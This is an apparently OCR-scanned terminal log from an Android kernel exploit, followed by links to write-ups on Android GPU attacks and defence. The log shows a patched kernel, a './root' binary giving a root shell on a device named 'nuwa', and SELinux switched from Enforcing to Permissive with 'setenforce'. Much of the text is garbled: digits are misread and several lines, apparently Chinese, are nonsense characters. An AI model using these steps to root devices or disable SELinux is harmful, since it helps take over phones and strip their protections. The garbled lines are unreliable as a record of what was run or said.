
[i] syscall_trace_enter: Oxae684

[i] Patche kernel done

[i] Dumped memory to file kernel_patched.bin

[+] exploit done,try run ./root

nuwa:/data/local/tmp $ ./root

Already set uid and gid to @

Try to press id to check root permission

nuwa:/data/local/tmp # whoami

root

nuwa:/data/local/tmp # getenforce

Enforcing

nuwa:/data/local/tmp # setenforce @
data/local/tmp # getenforce

Permissive

nuwa:/data/local/tmp # [l
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» ZEIEFHIBRE, untrustapp -> root
> X CPUREEHLHIMTES
> IR IR R RS, I IR TR AT AR A K GS LR
» IE (FHl. eI








https://dawnslab.jd.com/android_gpu_attack_defence_introduction/
https://dawnslab.jd.com/android_gpu_attack_defence_introduction/
https://forum.butian.net/share/3936




